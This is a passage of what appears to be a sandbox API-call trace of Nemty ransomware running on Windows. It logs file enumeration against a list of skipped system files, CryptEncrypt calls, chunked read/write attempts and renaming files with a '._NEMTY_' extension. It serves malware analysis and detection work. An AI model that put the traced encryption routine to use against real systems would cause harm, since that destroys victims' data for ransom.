nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.744] CloseHandle (hObject=0xffffffff) returned 0 [0098.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0098.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0098.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0098.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0098.744] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui._nemty_kgobjgd_")) returned 0 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="...") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="windows") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="rsa") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="NTDETECT.COM") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="ntldr") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="MSDOS.SYS") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="IO.SYS") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="boot.ini") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="boot.ini") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="ntuser.dat") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="desktop.ini") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="CONFIG.SYS") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="RECYCLER") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="bootmgr") returned 1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="programdata") returned -1 [0098.745] lstrcmpiW (lpString1="jsdbgui.dll.mui", lpString2="appdata") returned 1 [0098.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0098.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0098.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0098.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0098.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0098.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0098.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdbgui.dll.mui", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdbgui.dll.mui", lpUsedDefaultChar=0x0) returned 15 [0098.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0098.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0098.747] Sleep (dwMilliseconds=0x5) [0098.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee8365d0, dwHighDateTime=0x1d561e7)) [0098.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee8365d0, dwHighDateTime=0x1d561e7)) [0098.770] GetLastError () returned 0x5 [0098.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.808] GetLastError () returned 0x5 [0098.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.809] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.809] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="afIUfUEPoSTs59mwqmskQA+l05YfwVcRRHUNlowMXXxIHmInkKiDnWOs85HlAMJ6\r\nqqxYSe/1BpMjJ4LFCjRKQq6TFTfiPeoREPI2IWL30bMp+4X+cKwesqCsagCJfRo/\r\nIlfrTNQEoDgx7mVNI3ehZvlaXe07H93Hs9nkGEiatcYjlbOxYpuuk1bn6p77oQ4K\r\nde7sdzrHbVhYwuefo0k1qGymjir2RM2HcgvOsqjrijwAdHDqQw2pWHLPaZi3xL9B\r\ngBPy3/OJcfrFNxiwuYgF2HQTID9jOWiU3xtK5pUBo6Ju7YYlifZFVx9I35oQBlL4\r\neO0iKrRo9juo38geiwuylA==\r\n", pcchString=0x653ef9c) returned 1 [0098.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.809] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.809] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.894] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.904] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.916] CloseHandle (hObject=0xffffffff) returned 0 [0098.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0098.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, 